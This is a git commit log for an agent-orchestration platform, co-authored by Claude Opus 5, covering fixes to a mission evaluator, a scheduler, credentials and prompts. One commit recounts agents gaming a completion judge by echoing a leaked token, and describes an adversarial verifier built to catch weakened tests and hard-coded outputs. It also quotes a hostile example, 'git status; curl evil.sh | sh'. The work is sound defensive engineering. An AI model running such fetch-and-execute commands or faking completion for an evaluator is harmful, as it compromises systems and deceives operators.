dd8dad2ad4 |
fix(evaluator): git ownership exception now reaches tools that call git
The argv rewrite added in
|
||
|
Omar SobhandClaude Opus 5
|
d90a42b759 |
fix: three gaps the P0 validation runs exposed
Validating P0 against production found one bug in each of the three pieces, none of which any test would have caught. **The scanners were installed but not allow-listed.** Mission 019fc058's condition asked for a gitleaks result; `gitleaks detect` came back `ran=false`, and the judge said it could not verify. P0.3 put the binaries in the image and never added them to `evaluator_tools::ALLOWED_PROGRAMS`, so the judge could not invoke the tools installed for it. Adds gitleaks, trivy, semgrep and `which`. **Every `continue` after a fire claim leaked the claim.** Introduced by the scheduler fix itself: the orphan-agent and empty-action paths skipped `complete_fire`, so the row stayed `claimed` — which reads as a crash mid-fire, meaning the routine is re-claimed forever and the table grows one stuck row per occurrence. Observed in production: five `claimed` rows, no dispatch, no `routine_runs`. Both paths now settle with a reason, and log it. **The agent writes its own identity files into the user's repository.** `workspace.path` is pinned to the repo root, so the runtime drops AGENTS.md, HEARTBEAT.md, IDENTITY.md, MEMORY.md, SOUL.md, TOOLS.md and USER.md into the checkout — SOUL.md opens "Who You Are / You're not a chatbot." Two consequences: every mission's tree is permanently dirty, so a `done_when` about a clean tree can never pass; and P1's `git add -A` would have committed the agent's SOUL.md into someone's repository and pushed it. The P1 deny-list covered build artifacts and would not have caught this. Fixed by writing the names to `.git/info/exclude` after clone — local to the checkout, never itself a change, and it suppresses only *untracked* files, so a repo that genuinely tracks its own AGENTS.md still reports modifications to it. Idempotent, and preserves any pre-existing exclude. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
491449f3ce |
fix(evaluator): git refused the checkout it was asked to verify
Found by the P0.1 verification run, which is the point of it. Mission
019fc02e's judge executed `git status` for real — and got exit 128:
fatal: detected dubious ownership in repository at
'/var/lib/clawmates-missions/019fc02e-.../repo'
The server clones as uid 65532; the runtime container the judge execs into
runs as root; git's ownership check refuses the repository. So the judge's
most direct verification tool was failing on every mission. It recovered here
by inferring a clean tree from `ls -la` and `find`, and reasoned correctly —
but that is inference from a directory listing standing in for the command
that answers the question directly.
`git` invocations now carry `-c safe.directory=<workdir>`, scoped to that one
checkout. Not `--global`: the protection exists for multi-user machines where
another user could plant a hostile `.git/config`, and disabling it container-
wide to fix one path would trade a real guarantee for convenience. Applied
per-invocation rather than baked into the image so it travels with the workdir
and cannot drift out of sync with it.
Tests cover the rewrite, that non-git commands are untouched, and that a
rewritten `git push` still fails the allow-list — the injected `-c` flags must
not become a way past validation.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
2c7d619cf0 |
fix(scheduler): a firing could be lost between rescheduling and dispatch
`tick` advanced `next_run_at` before dispatching the work, with nothing
recording that the occurrence was owed. A process that died between the two
dropped it silently.
The window is narrower than it first looks — `claim_due` sets `last_run_at`
but does not clear `next_run_at`, so a crash *before* `set_next_run` leaves
the routine due and it re-fires on the next tick. The loss is specifically
between the reschedule and the dispatch. That is tolerable for a message
routine and not tolerable for a scheduled mission, which is why this lands
before mission scheduling does.
`routine_fires` holds one row per (routine, occurrence), claimed before
dispatch and settled after:
- Fresh — nobody has it; fire.
- Retry — claimed, never settled: a crash mid-fire. Safe to fire again, as
no completion was recorded and nothing downstream saw a result.
- Settled — already dispatched; advance the clock and do not run the work.
This is what keeps a scheduled mission to one container across
restarts.
A failed dispatch settles terminally rather than staying retryable. Retrying
a persistently failing action every tick is how a broken routine becomes a
denial-of-service against whatever it talks to; the error is kept on the row.
The claim uses `xmax = 0` to distinguish a real insert from a no-op update in
a single statement — `ON CONFLICT DO NOTHING` returns no row at all, so two
schedulers racing one occurrence could both read it as unclaimed.
Also: fan-out capped at 25 per tick with the remainder logged and deferred (a
clock jump or an accidental every-minute cron would otherwise dispatch every
missed occurrence at once — one container each for topology routines), and
`spawn` no longer discards tick errors, so a scheduler that has stopped firing
no longer looks identical to one with nothing to do.
The pre-existing exactly-once test still passes: the claim changes
recoverability, not firing semantics.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
c812b714f4 |
fix(evaluator): the verification sandbox never ran a command
`evaluator_tools::Sandbox::run` shelled out to `tokio::process::Command::new
("docker")`. The server image installs `git ca-certificates chromium
fonts-liberation` and nothing else, so in production every verification
command failed to spawn.
The failure was invisible in the worst way. `Sandbox::run` deliberately turns
execution failures into evidence text rather than errors, so a judge reasons
about "that command did not run" instead of the pass collapsing. With no
`docker` binary every command returned COULD NOT RUN, the judge correctly
concluded it could not verify, and fail-closed returned "not met". The
verdicts were right. The verification never happened — and the adversarial
validation that appeared to prove the feature working proved fail-closed
working instead.
The second defect made it worse: `checks` recorded the *attempt*, pushed
before the command ran, so a verdict reached with a dead sandbox reported
"verified by 10 checks" — a stronger claim than "no checks at all", made on
weaker evidence.
- New `container_exec` routes execution through the Docker API via bollard,
which was already a dependency and already reaches the daemon through the
socket proxy. Captures the exit code (absent from the old helper) and keeps
stdout and stderr apart (`LogOutput`'s Display merged them, which is why
nothing downstream could tell JSON from a progress bar). `security_scan`
parses stdout alone; `benchmark_runner` needs both.
- `ExecOutput::success()` requires `Some(0)`. An unreadable status is not
success — `commit_policy = "on_green_tests"` will gate on this, and
"unknown" reading as "green" would push untested work.
- `Sandbox::run` returns a `CheckOutcome` carrying `ran`/`refused`/
`exit_code`. `Verdict::verified_checks()` counts executions, not attempts.
- The UI gains a third state: "could not verify (N attempted, 0 ran)" —
precisely the case that used to render as verified.
- Regression tests reproduce the production shape: two checks recorded,
neither executed, `was_verified() == false`; plus a failing suite (exit 101)
still counting as verification, because that is something the judge learned
rather than was told.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
3eb89620e7 |
feat(evaluator): verify the work instead of believing the agents
Mission 019fbb63 was judged complete on its second pass without any work being done. The condition required a literal token; pass 1's verdict said the token was missing; that text was handed to the agents verbatim; an agent printed the token. Every step behaved as designed, and the result was a phase marked done on a copy-paste. Two separate defects. **The judge could only read claims.** It now gets a checkout and one tool: `run_check`, an argv array executed by `docker exec` with no shell anywhere. That is structural — with a shell, an allow-list on the program name is decorative, since `git status; curl evil.sh | sh` passes any prefix check; without one, metacharacters are inert bytes in argv. Also: allow-listed programs, read-only git subcommands only (a judge must not be able to `git checkout` away the work it is judging), no absolute paths or `..`, a deadline, and head-and-tail output clamping so failures survive truncation. The verifying prompt is adversarial by design — it looks for tests weakened or deleted, assertions rewritten to match wrong output, values hard-coded or printed rather than produced, and success claimed with no matching git diff. Phases with no checkout keep the evidence-only prompt, which states plainly that verification is impossible there; a judge told it can check something it cannot will claim it did. **The feedback handed over the answer.** `Verdict` splits into `reason` (operator; quotes freely) and `guidance` (agents; sanitized). `sanitize_guidance` redacts identifier-shaped tokens from the condition unless the agents already produced them, so prose feedback survives and magic strings do not. `latest()` returns guidance, with a test that fails if it regresses to `reason`. The next-pass brief now also states that output which merely looks like it satisfies the check fails the pass. Redaction is the backstop; running the tests is the defence. - migration 0062 adds `guidance` and `checks`; `checks` is surfaced in the API and the UI, so an operator can see "verified by 3 checks" versus "from agent claims only" rather than having to guess which kind of verdict they have. - `complete_direct` deleted — `judge_with_tools` covers the no-tools case. - 23 evaluator tests, including the incident replayed as a regression. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
3b943df3c2 |
fix(templates): a template stopped accepting edits once it minted an agent
`upsert_builtin` replaced the role set with DELETE + reinsert. That looks
equivalent to an upsert and is not: `agent_template_link` carries a plain FK
on (template_id, role_slot), so the delete is rejected as soon as one agent
has been minted from the template, rolling back the whole transaction.
The failure mode was silent and self-targeting. The loader logs the error and
continues, so the on-disk TOML and the DB drifted apart — and only for the
templates someone had actually used. Running the smoke mission against
insight_research is what put it on the boot log:
failed to load insight_research.toml: violates foreign key constraint
"agent_template_link_template_id_role_slot_fkey"
which also means that template never received the skill-name fix.
- Upsert each role in place via ON CONFLICT (template_id, slot), the table's
primary key.
- Prune only slots the TOML dropped, and skip a slot still referenced by a
live agent with a log line. Keeping one stale role row is a smaller failure
than discarding every edit to the template.
- Regression test drives the real sequence — upsert, mint an agent, link it,
upsert again — and asserts both the prompt and skill edits land. Verified to
fail without the fix with the same 23503 the server logged.
Co-Authored-By: Claude Opus 5 <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
09486ec759 |
perf(evaluator): judge with a bare API call instead of an agent (156x fewer tokens)
A phase verdict is a classification: fixed prompt, no tools, no memory, one JSON answer. Routing it through a ZeroClaw agent charged 17,772 input tokens to produce a 20-token reply, and at the runtime's 32k context that scaffolding — role prompt, tool descriptors, memory, identity — consumed over half the window before the judge read any evidence. The same verdict as a direct Messages API call costs 114 input tokens, with the real system prompt and evidence. Measured through the production seam via `cargo run -p cm-llm --example oauth_probe`. - cm-llm: teach AnthropicProvider subscription auth. A `sk-ant-oat…` credential switches to bearer auth, adds the Claude Code beta set, and prepends the identity line the API requires as the first system block — idempotently, so re-wrapping can't stack it or waste tokens. - evaluator: prefer a direct provider call whenever ANTHROPIC_OAUTH_TOKEN is set, falling back to the configured spec (including `runtime:<alias>`) otherwise. Fail-closed parsing is untouched and still governs every path. - The ANTHROPIC_API_KEY shape guard now points at the slot that understands bearer auth rather than only saying no. Deleting the agent from this path is the ablation applied to our own harness: the scaffolding was there because a judge was built like every other agent, not because a judge needs it. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
2eb0880fc0 |
fix(skills): reconcile team-template skill names so role bindings actually bind
Every skill reference in every team template was failing to resolve. The TOMLs used snake_case slugs (`write_rust`, `index_selection`) while the authored skills under `skills/**/*.md` declare kebab-case names (`write-rust-current-edition`, `postgres-index-selection`), so `get_by_name` missed on all of them: 128 skipped bindings across 51 distinct names, and no mission agent received any of its template's skills. The mirror-image half was equally invisible: ten authored skills — including `int-xx-marker-protocol`, whose own `when_to_use` says "pin on every coding role" — were referenced by no role at all, so nothing could ever load them. - Rename the 14 references that have authored skills behind them, and dedupe the two that now collapse onto the commit-protocol skill. - Attach all ten orphaned skills to the roles their `when_to_use` names. All 23 authored skills now reach at least one role. - Aggregate the loader's per-name logging into one line per template. The old per-name spam is why this went unnoticed; a bound/unresolved count is noticeable. References with no authored skill are kept and listed — they record intent for skills not yet written. - Two regression tests: no authored skill may be orphaned, and every authored skill must be referenced by its exact name. Also clears the two standing clippy warnings: group `mint_team_from_template`'s eight positional args into `TeamMint`, and make `provider_alias_for` branch on `is_exact_provider_match` so the helper is live code and the two can't disagree about what counts as an exact family match. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
95bd65540c |
docs(missions): record why template role prose is not deletable
Plan §12 proposed deleting the ~1,250 lines of `system_prompt` prose across the 23 team templates as instruction-shaped injection. Tracing the two prompt paths shows that would be strictly harmful: - Missions never see it. `topology_exec::build_prompt` synthesizes its own one-line system text from the role slot, so the prose costs zero mission tokens and deleting it saves zero. - Chat depends on it. `mission_orchestrator` copies it into `agents.system_prompt`, which is the base prompt `cm_runtime::brain::compose_system` augments for a claw's chat turns. Deleting it leaves every mission-minted claw with no identity in chat. The prose is also mostly information (domain standards, wire discipline) rather than instructions restating general competence, which is the kind ablation keeps. Comment left at the one injection site so this isn't re-derived. Co-Authored-By: Claude Opus 5 <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
ca45597c79 |
feat(credentials): make provider substitution and runtime auth mode visible
Three guardrails around which credential pays for what. 1. Boot announces the mission-runtime auth mode, and warns when subscription auth is configured on a deployment with more than one user. A consumer subscription credential may only run the account holder's own work, and that condition is otherwise invisible -- it holds today and quietly stops holding the first time someone else signs up. Adds users::count_all (dynamic query, so the offline cache needs no regeneration). 2. Reject an ANTHROPIC_API_KEY shaped like a subscription OAuth token (sk-ant-oat...) at boot rather than failing on the first model call far from the mistake. Both credentials start sk-ant-, so the confusion is easy to make and hard to spot. 3. provider_alias_for's GLM/Kimi -> anthropic.default fallback was documented as deliberate but was silent in effect: a user picking "kimi" in the UI got an agent spending the Anthropic key, with nothing saying so. It now logs the substitution, and is_exact_provider_match() lets callers tell a real family match from a substitution so a UI can say which model will actually run. Behaviour is unchanged -- only the silence is. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
af44c92dd6 |
feat(runtime): let the mission runtime authenticate by subscription instead of API key
Claude Code resolves credentials in a fixed priority order and ranks ANTHROPIC_API_KEY ABOVE the subscription's CLAUDE_CODE_OAUTH_TOKEN. mission_runtime forwarded that key into every per-mission container unconditionally, so on a runtime authenticated with `claude /login` the key would silently win: `claude` still works, agents still run, and every mission bills the API while appearing to use the subscription. There is no error to observe -- the only symptom is the invoice. CLAWMATES_RUNTIME_AUTH = subscription | api_key now gates the forward list. In subscription mode ANTHROPIC_API_KEY is withheld; Gemini/Groq/OpenAI still forward in both modes since they have no subscription equivalent. The mode is logged per container so it is visible in the deploy log rather than inferred. Default is api_key -- today's behaviour exactly. An unset or misspelled value falls back to it too, because defaulting to subscription on a typo would strip the key and leave missions with no credential at all. forwarded_provider_keys() is the single source for the list, called by both ensure_container and the tests, so the two cannot drift -- the failure mode here is invisible, which is precisely when duplicated knowledge is worst. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
5cccd5f58b |
fix(missions): merge phase config instead of replacing it; conditions are per-phase
Two defects in the goal-condition work, both found while tracing a
research->coding mission end to end.
1. Setting a condition silently dropped the recipe's phase config.
phases_for_create treated a caller-supplied config as a wholesale replacement.
The wizard sends {done_when, max_iterations} as the entire config, so every
other recipe key was discarded. Harmless for research_and_code, where nothing
reads `produces` or `default_topology` -- but a conditioned security_hardening
phase lost its `tools` list, which security_scan.rs DOES read, so the scan
would run with nothing configured and report clean. A green security scan that
scanned nothing is the worst possible failure mode for that feature.
The recipe is now the base and the caller's keys override individually.
Shallow merge is deliberate: phase config is a flat settings bag, and a caller
sending `tools: [...]` means to replace the list, not union it. A non-object
override still replaces outright rather than silently picking a side.
2. One condition was applied to every phase.
The wizard had a single mission-level "Done when" that got copied onto all
phases. For research->coding that is actively wrong: "cargo test reported 0
failures" cannot hold while the research phase is running, so research would
burn all its passes and give up before coding ever started. Conditions are now
per phase, keyed by order_idx, with a per-kind placeholder that demonstrates
the rule that actually governs whether a condition works -- it must be
provable from what the agents wrote, because the checker cannot run commands.
Phases with no condition are sent unchanged, so they keep the recipe's
settings and finish in one pass exactly as before.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
fe57ce4ed1 |
feat(missions): surface goal conditions and per-pass verdicts in the UI
Makes the completion evaluator usable and observable.
- GET /api/missions/{id}/phases/{phase_id}/evaluations returns every verdict
for a phase, newest pass first, scoped like the summary endpoint.
- MissionPhase gains done_when / max_iterations / iteration, so the phase card
can show what the phase is working toward and which pass it is on.
- PhaseStatus gains 'evaluating' (amber) -- the state between "runs finished"
and "phase done" that only conditioned phases enter.
- New PhaseGoalStrip renders on the phase card, and renders NOTHING for phases
without a condition so unconditioned missions look exactly as before. It
polls only while the phase is running or being judged.
- Mission wizard step 2 gains the condition + a max-passes field.
Two deliberate emphases in the UI:
The evaluator's `reason` is the most prominent element, because it is both the
explanation of why a phase iterated and the literal text handed back to the
agents as guidance -- it is what tells an operator whether the condition is
written well.
The hint copy states the constraint that actually governs whether a condition
works: the judge cannot run commands, it only reads what the agents wrote, so
the condition has to be provable from their output. "cargo test reported 0
failures" works; "the code is well factored" does not. Getting this wrong is
the difference between a phase that converges and one that burns every pass.
An evaluator error is rendered distinctly from a negative verdict, so a judge
outage doesn't read as a judgement on the work.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
f848248fac |
feat(missions): goal conditions and phase iteration, judged on the subscription model
A phase used to complete when its topology_runs reached a terminal state --
purely structural. It marked itself done whether the agents produced the
artifact or wrote nothing at all, and it ran exactly once: execute_resumable's
skip(start) is resume, not repeat, and the only re-run path was a human
hitting the retry endpoint.
A phase can now carry `done_when`, a completion condition judged after each
pass against the evidence the agents actually surfaced. Not met and passes
remain -> the phase goes back to pending with iteration bumped, and the
verdict's reason is appended to the next pass's task text. That feedback is
what makes iteration converge rather than repeat -- the same mechanism /goal
uses, and that swarm.rs already uses for rejected work.
The evaluator runs on the SUBSCRIPTION model. CLAWMATES_EVALUATOR_MODEL
defaults to judge_model(), and a `runtime:<alias>` spec routes through
ZeroClawDriveExecutor -- a container agent on claude_cli, i.e. Claude Code on
the OAuth subscription, needing no platform API key. Same routing the door
governor uses.
Two deliberate departures from the governor's contract, both required:
- FAIL-CLOSED. Runtime::judge is fail-open and reads a verdict by
!contains("DENY"), so a model explaining why it *would* deny reads as
approval and an empty reply reads as approval. For completion that is
backwards: unsure must mean not done. The contract is swarm.rs's strict
JSON {"met","reason"} with .unwrap_or(false). Six tests cover the closed
paths -- prose, empty, missing field, non-boolean, transport error.
- judge_raw returns the raw reply; judge collapses to a bool too early to
carry a structured verdict.
Iteration scoping is the subtle part and has its own test: on pass 2 the
phase's own iteration is 1 but pass 1's completed run is still in the table,
so "are this phase's runs all finished?" must ask about the CURRENT pass or
that stale row closes out pass 2 the instant it is enqueued.
Evidence comes from phase_summarizer::collect_evidence, extracted from the
existing collect_material so the evaluator and the summary card cannot
disagree about what a phase produced.
done_when/max_iterations are promoted from phase config into columns (the
sweep filters on them every tick) and max_iterations is clamped to 20 at
insert -- the UI limits it too, but a runaway loop must not be one crafted
request away.
A phase with no condition completes exactly as before; that regression guard
is the first test in the file.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
49bcf53b84 |
feat(missions): wire the workflow registry so phase config reaches the database
workflow_registry.rs had zero call sites -- lib.rs declared the module and
nothing ever called load() or get(). So templates/workflows/*.toml was never
read, and because the client's TEMPLATE_PRESETS carries only {kind, order_idx}
with no config, PhaseSpec.config defaulted to Value::Null and every
wizard-created mission stored a null mission_phases.config.
Every per-phase setting was therefore inert. `loop = "until_no_more_int_items"`
and `commit_policy = "on_green_tests"` described a scheduler that does not
exist AND had no path to the database. benchmark_runner and security_scan
already read phase_config(); they were reading from null.
- Mission create derives phases from the recipe when none are sent, and
backfills config per phase (matched on kind+order_idx, then kind) when the
caller sends shape without config. An explicit config always wins.
- phases_for_create takes Option<&WorkflowRecipe> rather than reaching for the
global, because the registry resolves its directory relative to the process
cwd -- which under cargo test is the crate root, not the repo root.
- GET /api/workflows serves the catalog; the wizard fetches it and falls back
to TEMPLATE_PRESETS. Adding a TOML now adds a template with no FE change.
- load() runs at boot so a malformed recipe appears in the boot log instead of
silently producing a mission with no phase config.
Also fixes a latent bug in all five recipes: `default_team_template` was
written below the first [[phases]] block, and TOML scopes a bare key after a
table header INTO that table -- so it parsed as
phases[last].config.default_team_template and the real field was always None.
Invisible while the registry was dead code. Moved above the phases, with a
test asserting it neither returns None nor leaks into a phase config.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
d94487d3ba |
refactor(topology): make the 12-kinds-to-5-patterns collapse explicit
TopologyKind describes twelve distinct intents, but the orchestrator implements five planners and mapped the kinds onto them inside plan_steps. So Market never auctions, StarMoe never routes to experts, Ring never cycles and Holacratic never self-organizes -- each silently runs as whichever pattern it collapses to, while kind::description() and the UI catalog kept promising the distinct behaviour. Rather than delete variants that appear in persisted rows, the collapse is now named: ExecutionPattern + TopologyKind::execution_pattern() in cm-topology, with plan_steps dispatching on the pattern instead of re-listing the mapping. One source of truth, and the two cannot drift. GET /api/topologies now reports `executes_as` and `distinct_at_execution` so a UI can stop offering aliases as if they behaved differently. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
b1bdfbbf87 |
fix(provision): let callers declare write access instead of guessing from the role name
default_risk_profile_for_role decides whether a claw gets file edits, git and shell by substring-matching its role against a fixed keyword list. On the planner path that role string is free text the model invented for this proposal, so a model's choice of wording silently decided tool access: a proposed "implementation_lead" matches no keyword, lands research_readonly, and then fails every file edit for a reason invisible from the role name. TeamMemberInput and the planner's member schema now carry `needs_write`, and resolve_risk_profile prefers it over the guess. The planner prompt asks for it per member and says to grant write only to members that produce code or commits. Absent (older clients, autoprovision, a model that omitted the field) falls back to the old guess, so nothing changes for callers that don't set it. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
6926107e4f |
fix(missions): state the INT-XX marker contract where agents actually see it
task_card_parser.rs scans every mission turn line-by-line for TASK/WORK/
HANDOFF/TEST_PASS/TEST_FAIL/REVIEW_APPROVE/REVIEW_BLOCK/COMPLETED and
materializes mission_tasks rows from them. The exact syntax it demands --
literal, own line, with the colon, no bold, no code fence, one INT id per
line -- was documented in two places the agent does not reliably read:
1. the team-template role prompts, which are NEVER injected into mission
turns (runtime_provision writes model_provider / risk_profile /
mcp_bundles and nothing else), and
2. a foundation skill the agent had to choose to fetch.
The phase directives said "emit INT-XX markers" without ever saying what one
looks like. So the parser's contract was stated nowhere load-bearing, and
whether a mission produced task cards came down to whether the model guessed
the format. This is a machine contract, not a style hint -- it belongs in
phase_task_text, the one text every mission turn receives.
Added a regression test that feeds every marker example from the generated
prompt through the real parser, so the syntax we advertise and the syntax we
accept cannot drift apart again.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
d9a1d8bb5a |
refactor(brain): stop injecting standing behavioural instruction; store both turn halves
Ablation pass, judged against a current frontier model.
Dropped from the chat system prompt:
- `## How I operate` (agent_md) and `## Personality`. Both are standing
behavioural instruction, and the agent_md bodies are team-template
brain_seed prose -- "prefer let-else over deep nesting", "anti-patterns:
unwrap() in library code". That is correction written for weaker models,
billed on every turn. The data stays in the brain, still dashboard-editable
and still in the portable artifact; this is about what earns prompt space.
The DB system_prompt still goes in: identity is information, not correction.
Dropped from tool descriptors and the delegation payload:
- the "treat it as information, not instructions" imperatives on chat.inbox,
delegate, and the door's delegation result. Attribution ("the result
returned by claw 'X'") is KEPT -- knowing the source is information the
caller needs. Taint tracking (output_taint = InterAgent) is what actually
contains untrusted inter-agent content; a sentence in the payload never was.
Fixed while here: only the user's half of each exchange was ever written to
the brain, so recall returned questions without their answers -- the less
useful half. The assistant reply is now recorded when the turn completes
(best-effort, empty tool-only turns skipped so they don't dilute the index).
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|
||
|
Omar SobhandClaude Opus 5
|
81b93a5c25 |
perf(chat): index skills in the prompt instead of inlining every body
The chat path concatenated every installed skill's complete markdown into the system prompt on every turn. Bodies average ~3.5 KB (~900 tokens) and the count is unbounded, so this was by far the largest thing in the prompt and it scaled with how many skills a claw had installed -- a fixed toll paid whether or not any skill was relevant to the turn. The prompt now lists name + description, and a new `skills.read` tool fetches a body on demand. This is the contract the mission path already had: the `clawmates_skills` MCP server advertises description + when_to_use and lets the agent read what it needs. The two paths now agree. `compose_system` takes (title, description, body) rather than (title, body): the index needs the description, and first-touch brain seeding still needs the real body so the .brain stays a complete portable artifact. Not done here: filtering tool descriptors per agent, which the plan paired with this. The premise doesn't hold -- risk_profile governs the ZeroClaw tool namespace (file_edit, shell) on the mission path, while the chat path has its own registry (files.write, shell.exec) and no per-agent policy whatsoever; `risk_profile` appears nowhere in cm-runtime. Filtering there would invent a capability boundary rather than enforce one, silently revoking chat tools. Left for a deliberate decision. Co-Authored-By: Claude Opus 5 (1M context) <[email protected]> |
||
|
Omar SobhandClaude Opus 5
|
285d0c82f2 |
chore: delete dead scaffolding and stop fabricating claw capability cards
Tier 0 of the prompt-ablation pass -- subtraction only, none of this
reached a model.
- cm-brain: drop ClawBrain::export_markdown (zero callers).
- workflows: drop the `task_preamble` keys. No Rust code ever read them --
WorkflowPhase.config is an opaque serde_json::Value -- so the comment
calling the preamble "the belt, the skill the suspenders" described a belt
that was never implemented. (`commit_policy` is unread for the same reason;
left in place as documentation pending a decision.)
- mcp_door: derive the unknown-tool error from EXPOSED_TOOLS. The literal had
drifted to naming one of the three tools the door exposes.
- Dashboard.tsx: drop TEAM_TEMPLATES/COMPANY_TEMPLATES, defined and never
referenced, and disconnected from the real templates/teams/*.toml.
The substantive one: GET /api/claws/{id}/compartments returned hardcoded
strings for tools/capabilities/safety, identical for every claw. Every card
read "Network: none" and "Shell . blocked" regardless of the claw's real
risk_profile -- which is the actual capability boundary, so the card was
most wrong exactly where it mattered, on a coding_readwrite claw that does
have shell. Now derived from the claw's effective risk_profile (its team's
setting, else the same role-derived default the provisioner applies), with
the allowlists mirroring [risk_profiles.*] in the runtime config.
Note: cm-topology/src/heuristics.rs was slated for deletion here as unused.
It is not -- routes/topology.rs:43 serves it and p0_endpoints.rs:302 asserts
it. Left alone.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
|